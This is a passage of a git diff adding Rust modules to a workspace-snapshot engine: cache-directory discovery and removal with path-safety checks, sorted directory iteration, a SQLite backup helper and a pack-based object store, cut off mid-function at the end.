MAX_DEPTH: usize = 1_024; + +#[derive(Debug, Clone, Serialize)] +pub struct ShrinkCandidate { + pub path: String, + pub class: &'static str, + pub entries: u64, + pub logical_bytes: u64, + pub physical_bytes: u64, + #[serde(skip)] + relative: PathBuf, +} + +#[derive(Debug, Clone, Serialize)] +pub struct ShrinkPlan { + pub candidates: Vec, + pub total_entries: u64, + pub total_logical_bytes: u64, + pub total_physical_bytes: u64, +} + +pub fn discover(root: &Path, includes: &[PathBuf]) -> anyhow::Result { + let root = root + .canonicalize() + .with_context(|| format!("open {}", root.display()))?; + let policy = CapturePolicy::load(&root)?; + let mut candidates = Vec::new(); + + for include in includes { + let relative = validate_relative(include)?; + refuse_internal_path(&relative)?; + anyhow::ensure!( + !policy.excludes_bytes(relative.as_os_str().as_bytes()), + "cannot shrink policy-excluded path {}; its undo bytes are not captured", + include.display() + ); + let path = root.join(&relative); + let metadata = fs::symlink_metadata(&path) + .with_context(|| format!("inspect shrink path {}", include.display()))?; + let usage = measure(&path, &metadata)?; + candidates.push(candidate(relative, "explicit", usage)); + anyhow::ensure!( + candidates.len() <= MAX_CANDIDATES, + "shrink discovery exceeds {MAX_CANDIDATES} candidates" + ); + } + + let mut stack = vec![Frame::open(root.clone())?]; + while !stack.is_empty() { + let next = stack.last_mut().expect("stack is not empty").entries.next(); + let Some(entry) = next else { + stack.pop(); + continue; + }; + let entry = entry?; + let file_type = entry.file_type()?; + if !file_type.is_dir() || file_type.is_symlink() { + continue; + } + let relative = entry.path().strip_prefix(&root)?.to_owned(); + if is_internal_root(&relative) { + continue; + } + if policy.excludes_bytes(relative.as_os_str().as_bytes()) { + continue; + } + if let Some(class) = classify(&entry.path()) { + let metadata = fs::symlink_metadata(entry.path())?; + let usage = measure(&entry.path(), &metadata)?; + candidates.push(candidate(relative, class, usage)); + anyhow::ensure!( + candidates.len() <= MAX_CANDIDATES, + "shrink discovery exceeds {MAX_CANDIDATES} candidates" + ); + continue; + } + anyhow::ensure!(stack.len() < MAX_DEPTH, "workspace tree exceeds safe depth"); + stack.push(Frame::open(entry.path())?); + } + + candidates.sort_by(|left, right| left.relative.cmp(&right.relative)); + let mut normalized: Vec = Vec::with_capacity(candidates.len()); + for candidate in candidates { + if normalized + .iter() + .any(|parent| candidate.relative.starts_with(&parent.relative)) + { + continue; + } + normalized.push(candidate); + } + let total_entries = normalized + .iter() + .fold(0_u64, |total, item| total.saturating_add(item.entries)); + let total_logical_bytes = normalized.iter().fold(0_u64, |total, item| { + total.saturating_add(item.logical_bytes) + }); + let total_physical_bytes = normalized.iter().fold(0_u64, |total, item| { + total.saturating_add(item.physical_bytes) + }); + Ok(ShrinkPlan { + candidates: normalized, + total_entries, + total_logical_bytes, + total_physical_bytes, + }) +} + +pub fn apply(root: &Path, plan: &ShrinkPlan) -> anyhow::Result<()> { + let root = root.canonicalize()?; + for candidate in &plan.candidates { + let relative = validate_relative(&candidate.relative)?; + refuse_internal_path(&relative)?; + let path = root.join(relative); + ensure_safe_ancestors(&root, &path)?; + let metadata = match fs::symlink_metadata(&path) { + Ok(metadata) => metadata, + Err(error) if error.kind() == std::io::ErrorKind::NotFound => continue, + Err(error) => return Err(error.into()), + }; + if metadata.is_dir() && !metadata.file_type().is_symlink() { + fs::remove_dir_all(&path)?; + } else { + fs::remove_file(&path)?; + } + } + Ok(()) +} + +struct Frame { + entries: ReadDir, +} + +impl Frame { + fn open(path: PathBuf) -> anyhow::Result { + Ok(Self { + entries: fs::read_dir(path)?, + }) + } +} + +#[derive(Debug, Clone, Copy)] +struct Usage { + entries: u64, + logical_bytes: u64, + physical_bytes: u64, +} + +fn measure(path: &Path, metadata: &fs::Metadata) -> anyhow::Result { + let mut usage = Usage { + entries: 1, + logical_bytes: metadata.len(), + physical_bytes: metadata.blocks().saturating_mul(512), + }; + if !metadata.is_dir() || metadata.file_type().is_symlink() { + return Ok(usage); + } + let mut stack = vec![Frame::open(path.to_owned())?]; + while !stack.is_empty() { + let next = stack.last_mut().expect("stack is not empty").entries.next(); + let Some(entry) = next else { + stack.pop(); + continue; + }; + let entry = entry?; + let metadata = fs::symlink_metadata(entry.path())?; + usage.entries = usage.entries.saturating_add(1); + usage.logical_bytes = usage.logical_bytes.saturating_add(metadata.len()); + usage.physical_bytes = usage + .physical_bytes + .saturating_add(metadata.blocks().saturating_mul(512)); + if metadata.is_dir() && !metadata.file_type().is_symlink() { + anyhow::ensure!(stack.len() < MAX_DEPTH, "cache tree exceeds safe depth"); + stack.push(Frame::open(entry.path())?); + } + } + Ok(usage) +} + +fn candidate(relative: PathBuf, class: &'static str, usage: Usage) -> ShrinkCandidate { + ShrinkCandidate { + path: relative.to_string_lossy().into_owned(), + class, + entries: usage.entries, + logical_bytes: usage.logical_bytes, + physical_bytes: usage.physical_bytes, + relative, + } +} + +fn classify(path: &Path) -> Option<&'static str> { + let name = path.file_name()?; + if name == OsStr::new("node_modules") { + return Some("javascript_dependencies"); + } + if matches_name( + name, + &[".next", ".nuxt", ".parcel-cache", ".turbo", ".vite"], + ) { + return Some("frontend_cache"); + } + if matches_name(name, &[".venv", "venv", "__pycache__"]) { + return Some("python_cache"); + } + if name == OsStr::new("target") + && path + .parent() + .is_some_and(|parent| parent.join("Cargo.toml").is_file()) + { + return Some("rust_build_cache"); + } + None +} + +fn matches_name(name: &OsStr, candidates: &[&str]) -> bool { + candidates + .iter() + .any(|candidate| name == OsStr::new(candidate)) +} + +fn validate_relative(path: &Path) -> anyhow::Result { + anyhow::ensure!(!path.as_os_str().is_empty(), "shrink path cannot be empty"); + anyhow::ensure!(!path.is_absolute(), "shrink path must be relative"); + anyhow::ensure!( + path.components() + .all(|component| matches!(component, Component::Normal(_))), + "shrink path contains an unsafe component" + ); + Ok(path.to_owned()) +} + +fn refuse_internal_path(path: &Path) -> anyhow::Result<()> { + let first = path.components().next(); + anyhow::ensure!( + !matches!(first, Some(Component::Normal(name)) if name == OsStr::new(".git") || name == OsStr::new(".furrow")), + "refusing to shrink furrow or Git internal state" + ); + Ok(()) +} + +fn is_internal_root(path: &Path) -> bool { + matches!( + path.components().next(), + Some(Component::Normal(name)) if name == OsStr::new(".git") || name == OsStr::new(".furrow") + ) +} + +fn ensure_safe_ancestors(root: &Path, path: &Path) -> anyhow::Result<()> { + let relative = path + .strip_prefix(root) + .context("shrink path escaped the workspace")?; + let mut current = root.to_owned(); + let components: Vec<_> = relative.components().collect(); + for component in components.iter().take(components.len().saturating_sub(1)) { + let Component::Normal(name) = component else { + anyhow::bail!("shrink path contains an unsafe component") + }; + current.push(name); + let metadata = fs::symlink_metadata(¤t)?; + anyhow::ensure!( + metadata.is_dir() && !metadata.file_type().is_symlink(), + "shrink path has an unsafe parent" + ); + } + Ok(()) +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn discovers_known_caches_without_entering_internal_or_symlinked_trees() { + let temporary = tempfile::tempdir().unwrap(); + fs::create_dir_all(temporary.path().join("node_modules/pkg")).unwrap(); + fs::write( + temporary.path().join("node_modules/pkg/index.js"), + b"module", + ) + .unwrap(); + fs::create_dir_all(temporary.path().join(".git/node_modules/hidden")).unwrap(); + let outside = tempfile::tempdir().unwrap(); + fs::create_dir_all(outside.path().join("node_modules/private")).unwrap(); + std::os::unix::fs::symlink(outside.path(), temporary.path().join("linked")).unwrap(); + + let plan = discover(temporary.path(), &[]).unwrap(); + assert_eq!(plan.candidates.len(), 1); + assert_eq!(plan.candidates[0].path, "node_modules"); + assert!(plan.total_entries >= 3); + } + + #[test] + fn explicit_paths_are_validated_and_nested_candidates_are_collapsed() { + let temporary = tempfile::tempdir().unwrap(); + fs::create_dir_all(temporary.path().join("cache/node_modules/pkg")).unwrap(); + fs::write( + temporary.path().join("cache/node_modules/pkg/index.js"), + b"module", + ) + .unwrap(); + + let plan = discover(temporary.path(), &[PathBuf::from("cache")]).unwrap(); + assert_eq!(plan.candidates.len(), 1); + assert_eq!(plan.candidates[0].path, "cache"); + assert!(discover(temporary.path(), &[PathBuf::from("../outside")]).is_err()); + assert!(discover(temporary.path(), &[PathBuf::from(".git")]).is_err()); + + fs::write(temporary.path().join(".furrowpolicy"), b"exclude cache\n").unwrap(); + assert!(discover(temporary.path(), &[PathBuf::from("cache")]) + .unwrap_err() + .to_string() + .contains("undo bytes are not captured")); + } +} diff --git a/engine/furrow-core/src/sorted_dir.rs b/engine/furrow-core/src/sorted_dir.rs new file mode 100644 index 0000000000..a06b021d54 --- /dev/null +++ b/engine/furrow-core/src/sorted_dir.rs @@ -0,0 +1,154 @@ +//! Bytewise directory ordering with bounded memory for very large directories. + +use std::cmp::Ordering; +use std::collections::BinaryHeap; +use std::ffi::OsString; +use std::fs::File; +use std::io::{self, BufRead, BufReader, BufWriter, Read, Seek, SeekFrom, Write}; +use std::os::unix::ffi::{OsStrExt, OsStringExt}; +use std::path::Path; + +const NAMES_PER_RUN: usize = 8 * 1024; + +pub struct SortedDirectory { + inner: SortedDirectoryInner, +} + +enum SortedDirectoryInner { + Memory(std::vec::IntoIter), + Merge(MergeRuns), +} + +struct MergeRuns { + runs: Vec>, + heap: BinaryHeap, +} + +#[derive(Eq, PartialEq)] +struct HeapName { + name: Vec, + run: usize, +} + +impl Ord for HeapName { + fn cmp(&self, other: &Self) -> Ordering { + other + .name + .cmp(&self.name) + .then_with(|| other.run.cmp(&self.run)) + } +} + +impl PartialOrd for HeapName { + fn partial_cmp(&self, other: &Self) -> Option { + Some(self.cmp(other)) + } +} + +impl SortedDirectory { + pub fn open(path: &Path) -> anyhow::Result { + let mut names = Vec::with_capacity(NAMES_PER_RUN); + let mut runs = Vec::new(); + for entry in std::fs::read_dir(path)? { + names.push(entry?.file_name()); + if names.len() == NAMES_PER_RUN { + runs.push(spill_run(&mut names)?); + } + } + + if runs.is_empty() { + names.sort_unstable_by(|left, right| left.as_bytes().cmp(right.as_bytes())); + return Ok(Self { + inner: SortedDirectoryInner::Memory(names.into_iter()), + }); + } + if !names.is_empty() { + runs.push(spill_run(&mut names)?); + } + + let mut readers: Vec<_> = runs.into_iter().map(BufReader::new).collect(); + let mut heap = BinaryHeap::new(); + for (run, reader) in readers.iter_mut().enumerate() { + if let Some(name) = read_name(reader)? { + heap.push(HeapName { name, run }); + } + } + Ok(Self { + inner: SortedDirectoryInner::Merge(MergeRuns { + runs: readers, + heap, + }), + }) + } +} + +impl Iterator for SortedDirectory { + type Item = io::Result; + + fn next(&mut self) -> Option { + match &mut self.inner { + SortedDirectoryInner::Memory(names) => names.next().map(Ok), + SortedDirectoryInner::Merge(merge) => { + let item = merge.heap.pop()?; + match read_name(&mut merge.runs[item.run]) { + Ok(Some(name)) => merge.heap.push(HeapName { + name, + run: item.run, + }), + Ok(None) => {} + Err(error) => return Some(Err(error)), + } + Some(Ok(OsString::from_vec(item.name))) + } + } + } +} + +fn spill_run(names: &mut Vec) -> io::Result { + names.sort_unstable_by(|left, right| left.as_bytes().cmp(right.as_bytes())); + let mut writer = BufWriter::new(tempfile::tempfile()?); + for name in names.drain(..) { + let bytes = name.as_bytes(); + let length = u32::try_from(bytes.len()) + .map_err(|_| io::Error::new(io::ErrorKind::InvalidData, "filename too long"))?; + writer.write_all(&length.to_le_bytes())?; + writer.write_all(bytes)?; + } + writer.flush()?; + let mut file = writer + .into_inner() + .map_err(|error| io::Error::new(error.error().kind(), error.to_string()))?; + file.seek(SeekFrom::Start(0))?; + Ok(file) +} + +fn read_name(reader: &mut BufReader) -> io::Result>> { + if reader.fill_buf()?.is_empty() { + return Ok(None); + } + let mut length = [0_u8; 4]; + reader.read_exact(&mut length)?; + let length = u32::from_le_bytes(length) as usize; + let mut name = vec![0_u8; length]; + reader.read_exact(&mut name)?; + Ok(Some(name)) +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn spills_and_merges_large_directories_in_byte_order() { + let temporary = tempfile::tempdir().unwrap(); + for index in (0..20_000).rev() { + File::create(temporary.path().join(format!("entry-{index:08}"))).unwrap(); + } + let names: Vec<_> = SortedDirectory::open(temporary.path()) + .unwrap() + .collect::>() + .unwrap(); + assert_eq!(names.len(), 20_000); + assert!(names.windows(2).all(|pair| pair[0] < pair[1])); + } +} diff --git a/engine/furrow-core/src/sqlite_adapter.rs b/engine/furrow-core/src/sqlite_adapter.rs new file mode 100644 index 0000000000..fbb5438ad9 --- /dev/null +++ b/engine/furrow-core/src/sqlite_adapter.rs @@ -0,0 +1,69 @@ +use anyhow::Context; +use rusqlite::backup::Backup; +use rusqlite::{Connection, OpenFlags}; +use std::path::Path; +use std::time::Duration; +use tempfile::NamedTempFile; + +pub struct ConsistentBackup { + pub file: NamedTempFile, + pub integrity_ok: bool, +} + +/// The most log a WAL-mode index may carry into an open. +const WAL_BUDGET: u64 = 1 << 20; + +/// Folds the log of a database whose connections skip the close-time +/// checkpoint. A skipped checkpoint never lets the log restart, and every open +/// forgets how much of it was already copied, so an unbounded log is re-read +/// and re-copied (with its syncs) by every process that opens the database. +/// Folding it once it passes the budget makes that cost rare instead of +/// constant. +pub fn fold_oversized_wal(connection: &Connection, database: &Path) -> anyhow::Result<()> { + let mut wal = database.as_os_str().to_owned(); + wal.push("-wal"); + if std::fs::metadata(wal).map_or(0, |wal| wal.len()) > WAL_BUDGET { + connection.query_row("PRAGMA wal_checkpoint(TRUNCATE)", [], |_| Ok(()))?; + } + Ok(()) +} + +const HEADER: &[u8; 16] = b"SQLite format 3\0"; + +/// True when `bytes` begin the way every SQLite database file begins. +pub fn has_header(bytes: &[u8]) -> bool { + bytes.starts_with(HEADER) +} + +pub fn is_sqlite(path: &Path) -> bool { + let mut header = [0_u8; 16]; + let Ok(mut file) = std::fs::File::open(path) else { + return false; + }; + use std::io::Read; + file.read_exact(&mut header).is_ok() && has_header(&header) +} + +pub fn consistent_backup(path: &Path, temp_dir: &Path) -> anyhow::Result { + std::fs::create_dir_all(temp_dir)?; + let source = Connection::open_with_flags( + path, + OpenFlags::SQLITE_OPEN_READ_ONLY | OpenFlags::SQLITE_OPEN_NO_MUTEX, + ) + .with_context(|| format!("open SQLite database {}", path.display()))?; + source.busy_timeout(Duration::from_secs(2))?; + + let file = NamedTempFile::new_in(temp_dir)?; + let mut destination = Connection::open(file.path())?; + { + let backup = Backup::new(&source, &mut destination)?; + backup.run_to_completion(128, Duration::from_millis(2), None)?; + } + let integrity: String = + destination.query_row("PRAGMA integrity_check", [], |row| row.get(0))?; + destination.close().map_err(|(_, error)| error)?; + Ok(ConsistentBackup { + file, + integrity_ok: integrity == "ok", + }) +} diff --git a/engine/furrow-core/src/store.rs b/engine/furrow-core/src/store.rs new file mode 100644 index 0000000000..98348bae80 --- /dev/null +++ b/engine/furrow-core/src/store.rs @@ -0,0 +1,1136 @@ +use crate::budget::{self, BudgetStatus}; +use crate::catalog::{CachedFile, Catalog, PackCheckpoint, TimelineRow}; +use crate::fault; +use crate::gc::{self, GcReport}; +use crate::model::{ObjectId, ObjectKind, SnapshotTrigger}; +use crate::refs::{RefLog, RefRecord}; +use crate::retention::RetentionLog; +use anyhow::Context; +use fs2::FileExt; +use serde::{de::DeserializeOwned, Serialize}; +use std::cell::{Cell, RefCell}; +use std::collections::HashMap; +use std::fs::{self, File, OpenOptions}; +use std::io::{Read, Seek, SeekFrom, Write}; +use std::os::unix::ffi::OsStringExt; +use std::os::unix::fs::FileExt as UnixFileExt; +use std::path::{Path, PathBuf}; +use std::rc::Rc; + +const INITIAL_PACK_NAME: &str = "pack-000001.agp"; +const CURRENT_FILE: &str = "CURRENT"; +const OBJECT_MAGIC: &[u8; 4] = b"AGOB"; +const OBJECT_END: &[u8; 4] = b"AGND"; +const OBJECT_VERSION: u8 = 1; +const HEADER_LEN: u64 = 4 + 1 + 1 + 8 + 32 + 32; +const MAX_OBJECT_LEN: u64 = 256 * 1024 * 1024; + +pub struct ObjectStore { + root: PathBuf, + catalog: Catalog, + active_pack: RefCell, + /// The run of records this process appended since the last pack sync. + unsynced: RefCell>, + maintenance: Rc, +} + +/// Contiguous pack records appended by this process and not yet synced. +struct AppendRun { + pack: String, + start: u64, + end: u64, + objects: u64, + last_object: ObjectId, + last_record_start: u64, +} + +impl AppendRun { + /// This run with one more record appended after it, or a new run when the + /// record does not follow it (another process appended in between). + fn then(run: Option, pack: &str, id: ObjectId, start: u64, end: u64) -> Self { + match run { + Some(run) if run.pack == pack && run.end == start => Self { + end, + objects: run.objects + 1, + last_object: id, + last_record_start: start, + ..run + }, + _ => Self { + pack: pack.to_owned(), + start, + end, + objects: 1, + last_object: id, + last_record_start: start, + }, + } + } + + /// The checkpoint after this run, when it continues `checkpoint`. + fn extend(&self, checkpoint: PackCheckpoint) -> Option { + (checkpoint.verified_len == self.start).then_some(PackCheckpoint { + verified_len: self.end, + object_count: checkpoint.object_count + self.objects, + last_object: Some(self.last_object), + last_record_start: self.last_record_start, + }) + } +} + +struct MaintenanceState { + path: PathBuf, + depth: Cell, + exclusive: Cell, + file: RefCell>, + /// The pack files opened during the current section, so a walk over many + /// objects opens each pack once instead of once per object. A section + /// holds the maintenance lock, so no pack is removed while a handle is + /// kept, and the handles are dropped when the section ends. + packs: RefCell>>, +} + +pub(crate) struct MaintenanceGuard { + state: Rc, +} + +impl Drop for MaintenanceGuard { + fn drop(&mut self) { + let depth = self.state.depth.get(); + debug_assert!(depth > 0); + self.state.depth.set(depth - 1); + if depth == 1 { + if let Some(file) = self.state.file.borrow_mut().take() { + let _ = FileExt::unlock(&file); + } + self.state.exclusive.set(false); + self.state.packs.borrow_mut().clear(); + } + } +} + +#[derive(Debug, Clone, Copy, serde::Serialize)] +pub struct StoreStats { + pub objects: u64, + pub physical_bytes: u64, +} + +impl ObjectStore { + pub fn open(root: PathBuf) -> anyhow::Result { + fs::create_dir_all(root.join("packs"))?; + fs::create_dir_all(root.join("locks"))?; + fs::create_dir_all(root.join("workspaces"))?; + let lock = OpenOptions::new() + .create(true) + .truncate(false) + .read(true) + .write(true) + .open(root.join("locks").join("maintenance.lock"))?; + FileExt::lock_shared(&lock)?; + let active_pack = read_or_initialize_current(&root)?; + let catalog = Catalog::open(&root.join("catalog.sqlite3"))?; + let maintenance = Rc::new(MaintenanceState { + path: root.join("locks").join("maintenance.lock"), + depth: Cell::new(1), + exclusive: Cell::new(false), + file: RefCell::new(Some(lock)), + packs: RefCell::new(HashMap::new()), + }); + let store = Self { + root, + catalog, + active_pack: RefCell::new(active_pack), + unsynced: RefCell::new(None), + maintenance, + }; + let startup_guard = MaintenanceGuard { + state: Rc::clone(&store.maintenance), + }; + let recovered = store.recover_pack(); + drop(startup_guard); + recovered?; + Ok(store) + } + + pub fn put_bytes(&self, kind: ObjectKind, bytes: &[u8]) -> anyhow::Result { + let _maintenance = self.acquire_maintenance_shared()?; + self.put_bytes_locked(kind, bytes) + } + + fn put_bytes_locked(&self, kind: ObjectKind, bytes: &[u8]) -> anyhow::Result { + anyhow::ensure!( + bytes.len() as u64 <= MAX_OBJECT_LEN, + "object exceeds size limit" + ); + let id = object_id(kind, bytes); + if self.catalog.object(&id)?.is_some() { + return Ok(id); + } + + let lock_path = self.root.join("locks").join("pack.lock"); + let lock = OpenOptions::new() + .create(true) + .truncate(false) + .read(true) + .write(true) + .open(lock_path)?; + lock.lock_exclusive()?; + + if self.catalog.object(&id)?.is_none() { + let active_pack = self.active_pack.borrow().clone(); + let pack_path = self.root.join("packs").join(&active_pack); + let mut pack = OpenOptions::new() + .create(true) + .append(true) + .read(true) + .open(&pack_path)?; + let record_start = pack.seek(SeekFrom::End(0))?; + let checksum = blake3::hash(bytes); + pack.write_all(OBJECT_MAGIC)?; + pack.write_all(&[OBJECT_VERSION, kind as u8])?; + pack.write_all(&(bytes.len() as u64).to_le_bytes())?; + pack.write_all(&id)?; + pack.write_all(checksum.as_bytes())?; + let payload_offset = record_start + HEADER_LEN; + pack.write_all(bytes)?; + pack.write_all(OBJECT_END)?; + let end = pack.stream_position()?; + let run = self.unsynced.take(); + self.unsynced.replace(Some(AppendRun::then( + run, + &active_pack, + id, + record_start, + end, + ))); + self.catalog.insert_object( + &id, + kind, + &active_pack, + payload_offset, + bytes.len() as u64, + )?; + } + FileExt::unlock(&lock)?; + Ok(id) + } + + pub(crate) fn acquire_maintenance_shared(&self) -> anyhow::Result { + self.acquire_maintenance(false) + } + + pub(crate) fn acquire_maintenance_exclusive(&self) -> anyhow::Result { + self.acquire_maintenance(true) + } + + fn acquire_maintenance(&self, exclusive: bool) -> anyhow::Result { + let depth = self.maintenance.depth.get(); + if depth > 0 { + anyhow::ensure!( + !exclusive || self.maintenance.exclusive.get(), + "cannot upgrade a shared maintenance section" + ); + self.maintenance.depth.set(depth + 1); + return Ok(MaintenanceGuard { + state: Rc::clone(&self.maintenance), + }); + } + let file = OpenOptions::new() + .create(true) + .truncate(false) + .read(true) + .write(true) + .open(&self.maintenance.path)?; + if exclusive { + file.lock_exclusive()?; + } else { + FileExt::lock_shared(&file)?; + } + *self.active_pack.borrow_mut() = read_or_initialize_current(&self.root)?; + self.maintenance.depth.set(1); + self.maintenance.exclusive.set(exclusive); + *self.maintenance.file.borrow_mut() = Some(file); + Ok(MaintenanceGuard { + state: Rc::clone(&self.maintenance), + }) + } + + pub fn put_struct( + &self, + kind: ObjectKind, + value: &T, + ) -> anyhow::Result { + let bytes = serde_json::to_vec(value)?; + self.put_bytes(kind, &bytes) + } + + pub fn read_bytes(&self, id: &ObjectId, expected: ObjectKind) -> anyhow::Result> { + let _maintenance = self.acquire_maintenance_shared()?; + self.read_bytes_unlocked(id, expected) + } + + pub(crate) fn read_bytes_unlocked( + &self, + id: &ObjectId, + expected: ObjectKind, + ) -> anyhow::Result> { + let location = self + .catalog + .object(id)? + .with_context(|| format!("missing object {}", hex::encode(id)))?; + anyhow::ensure!(location.kind == expected, "object kind mismatch"); + let pack = self.pack_for_reading(&location.pack)?; + let mut bytes = vec![0_u8; location.len as usize]; + pack.read_exact_at(&mut bytes, location.offset)?; + anyhow::ensure!( + object_id(expected, &bytes) == *id, + "object integrity check failed" + ); + Ok(bytes) + } + + /// The pack file to read from. Inside a maintenance section the handle is + /// kept for the rest of the section; outside one it is opened for this + /// read alone, because nothing then stops the pack from being removed. + fn pack_for_reading(&self, name: &str) -> std::io::Result> { + let open = || File::open(self.root.join("packs").join(name)).map(Rc::new); + if self.maintenance.depth.get() == 0 { + return open(); + } + if let Some(pack) = self.maintenance.packs.borrow().get(name) { + return Ok(Rc::clone(pack)); + } + let pack = open()?; + self.maintenance + .packs + .borrow_mut() + .insert(name.to_owned(), Rc::clone(&pack)); + Ok(pack) + } + + pub fn read_struct( + &self, + id: &ObjectId, + expected: ObjectKind, + ) -> anyhow::Result { + Ok(serde_json::from_slice(&self.read_bytes(id, expected)?)?) + } + + pub(crate) fn contains_object(&self, id: &ObjectId) -> anyhow::Result { + let _maintenance = self.acquire_maintenance_shared()?; + Ok(self.catalog.object(id)?.is_some()) + } + + pub fn ensure_workspace(&mut self, id: &str, root: &[u8]) -> anyhow::Result<()> { + let workspace_dir = self.root.join("workspaces").join(id); + fs::create_dir_all(&workspace_dir)?; + if !workspace_dir.join("root.path").exists() { + write_root_path(&workspace_dir, root)?; + } + self.catalog.ensure_workspace(id, root)?; + let detached = workspace_dir.join("detached"); + if detached.exists() { + fs::remove_file(detached)?; + File::open(&workspace_dir)?.sync_all()?; + } + let refs = RefLog::open(&self.root, id)?; + let ref_head = refs.head()?.map(|record| record.snapshot_id); + if self.catalog.workspace_head(id)? != ref_head { + for record in refs.records()? { + self.index_ref_record(id, &record)?; + } + } + Ok(()) + } + + /// Follows a tree that was moved: the workspace registered at `from` is + /// registered at `to` from now on, and keeps its history and head. Any + /// workspace already at `to` describes the folder that was there before the + /// move, so it is detached, or a path would name two workspaces. + pub fn rebind_workspace(&mut self, from: &[u8], to: &[u8]) -> anyhow::Result { + let id = self + .find_workspace(from)? + .context("no workspace is registered at the folder that moved")?; + if let Some(previous) = self.find_workspace(to)?.filter(|other| *other != id) { + self.detach_workspace(&previous)?; + } + write_root_path(&self.workspace_data_dir(&id), to)?; + self.catalog.rebind_workspace(&id, to)?; + Ok(id) + } + + pub fn find_workspace(&self, root: &[u8]) -> anyhow::Result> { + for entry in fs::read_dir(self.root.join("workspaces"))? { + let entry = entry?; + if !entry.file_type()?.is_dir() { + continue; + } + if entry.path().join("detached").exists() { + continue; + } + let metadata_path = entry.path().join("root.path"); + if metadata_path.exists() && fs::read(metadata_path)? == root { + return Ok(Some(entry.file_name().to_string_lossy().into_owned())); + } + } + Ok(None) + } + + pub fn workspace_head(&self, id: &str) -> anyhow::Result> { + Ok(RefLog::open(&self.root, id)? + .head()? + .map(|record| record.snapshot_id)) + } + + pub fn detach_workspace(&mut self, id: &str) -> anyhow::Result<()> { + let workspace_dir = self.workspace_data_dir(id); + fs::create_dir_all(&workspace_dir)?; + let marker = workspace_dir.join("detached"); + let file = OpenOptions::new() + .create(true) + .truncate(true) + .write(true) + .open(marker)?; + file.sync_all()?; + File::open(workspace_dir)?.sync_all()?; + self.catalog.detach_workspace(id)?; + Ok(()) + } + + pub fn purge_workspace(&mut self, id: &str) -> anyhow::Result<()> { + self.catalog.remove_workspace(id)?; + let workspace_dir = self.workspace_data_dir(id); + if workspace_dir.exists() { + fs::remove_dir_all(&workspace_dir)?; + File::open(self.root.join("workspaces"))?.sync_all()?; + } + Ok(()) + } + + pub fn timeline(&self, id: &str, limit: usize) -> anyhow::Result> { + let refs = RefLog::open(&self.root, id)?; + let Some(head) = refs.head()? else { + return Ok(Vec::new()); + }; + let state = RetentionLog::open(&self.root, id)?.state()?; + let sequences = state.recent_sequences(head.sequence, limit); + Ok(refs + .records_at_sequences(&sequences)? + .into_iter() + .map(|record| TimelineRow { + id: record.snapshot_id, + sealed_at: record.sealed_at, + label: record.label, + trigger: trigger_name(&record.trigger).to_owned(), + }) + .collect()) + } + + pub fn retained_snapshot_count(&self, id: &str) -> anyhow::Result { + let refs = RefLog::open(&self.root, id)?; + let head = refs.head()?.map_or(0, |record| record.sequence); + Ok(RetentionLog::open(&self.root, id)? + .state()? + .retained_count(head)) + } + + pub fn pinned_snapshots( + &self, + workspace_id: &str, + ) -> anyhow::Result> { + Ok(RetentionLog::open(&self.root, workspace_id)? + .state()? + .pins + .into_iter() + .map(|pin| pin.snapshot_id) + .collect()) + } + + pub fn pin_snapshot(&self, workspace_id: &str, snapshot_id: ObjectId) -> anyhow::Result { + let _maintenance = self.acquire_maintenance_exclusive()?; + anyhow::ensure!( + self.catalog.object(&snapshot_id)?.is_some(), + "snapshot bytes are no longer available to pin" + ); + let refs = RefLog::open(&self.root, workspace_id)?; + RetentionLog::open(&self.root, workspace_id)?.pin(&refs, snapshot_id) + } + + pub fn unpin_snapshot( + &self, + workspace_id: &str, + snapshot_id: &ObjectId, + ) -> anyhow::Result { + let _maintenance = self.acquire_maintenance_exclusive()?; + RetentionLog::open(&self.root, workspace_id)?.unpin(snapshot_id) + } + + pub fn cached_file( + &self, + workspace_id: &str, + path: &[u8], + ) -> anyhow::Result> { + self.catalog.cached_file(workspace_id, path) + } + + pub fn cached_files( + &self, + workspace_id: &str, + paths: &[Vec], + ) -> anyhow::Result>> { + self.catalog.cached_files(workspace_id, paths) + } + + pub fn cache_file( + &self, + workspace_id: &str, + path: &[u8], + file: &CachedFile, + ) -> anyhow::Result<()> { + self.catalog.cache_file(workspace_id, path, file) + } + + pub fn sqlite_paths(&self, workspace_id: &str) -> anyhow::Result>> { + self.catalog.sqlite_paths(workspace_id) + } + + /// Runs `write` as one catalog transaction: the many small cache and index + /// writes of a capture become a single commit. The pack is made durable + /// before that commit, so the catalog never names bytes the pack could + /// lose; the commit itself needs no sync of its own, because the catalog + /// is an index rebuilt from the pack and the reference log. + pub fn batched(&self, write: impl FnOnce() -> anyhow::Result) -> anyhow::Result { + self.catalog.batch(|| { + let value = write()?; + fault::point("seal.captured"); + self.sync_active_pack()?; + fault::point("seal.packed"); + Ok(value) + }) + } + + pub fn cached_directory( + &self, + workspace_id: &str, + path: &[u8], + ) -> anyhow::Result> { + self.catalog.cached_directory(workspace_id, path) + } + + pub fn cache_directory( + &self, + workspace_id: &str, + path: &[u8], + tree_id: &ObjectId, + ) -> anyhow::Result<()> { + self.catalog.cache_directory(workspace_id, path, tree_id) + } + + pub fn publish_snapshot( + &mut self, + workspace_id: &str, + snapshot_id: ObjectId, + sealed_at: i64, + label: Option, + trigger: SnapshotTrigger, + ) -> anyhow::Result<()> { + // The append is the visibility boundary. Every referenced object was + // sync'd before this call; SQLite is an advisory index rebuilt from it. + self.sync_active_pack()?; + fault::point("seal.committed"); + let record = RefLog::open(&self.root, workspace_id)?.append( + snapshot_id, + sealed_at, + label, + trigger, + )?; + fault::point("seal.logged"); + self.index_ref_record(workspace_id, &record)?; + if let Err(error) = self.enforce_budget(false) { + eprintln!("warning: automatic store-budget enforcement failed: {error:#}"); + } + Ok(()) + } + + pub fn budget_status(&self) -> anyhow::Result { + let config = budget::load(&self.root)?; + budget::status(&self.root, config, self.stats()?.physical_bytes) + } + + pub fn configure_budget( + &mut self, + max_store_bytes: Option, + reserved_free_bytes: Option, + ) -> anyhow::Result { + let _maintenance = self.acquire_maintenance_exclusive()?; + let mut config = budget::load(&self.root)?; + if let Some(max_store_bytes) = max_store_bytes { + config.max_store_bytes = max_store_bytes; + } + if let Some(reserved_free_bytes) = reserved_free_bytes { + config.reserved_free_bytes = reserved_free_bytes; + } + budget::save(&self.root, config)?; + self.enforce_budget(true)?; + self.budget_status() + } + + pub fn enforce_budget(&mut self, force: bool) -> anyhow::Result> { + let before = self.budget_status()?; + if !before.pressured() { + budget::record_attempt(&self.root, before.physical_bytes, true)?; + return Ok(None); + } + if !force && !budget::should_retry(&self.root, 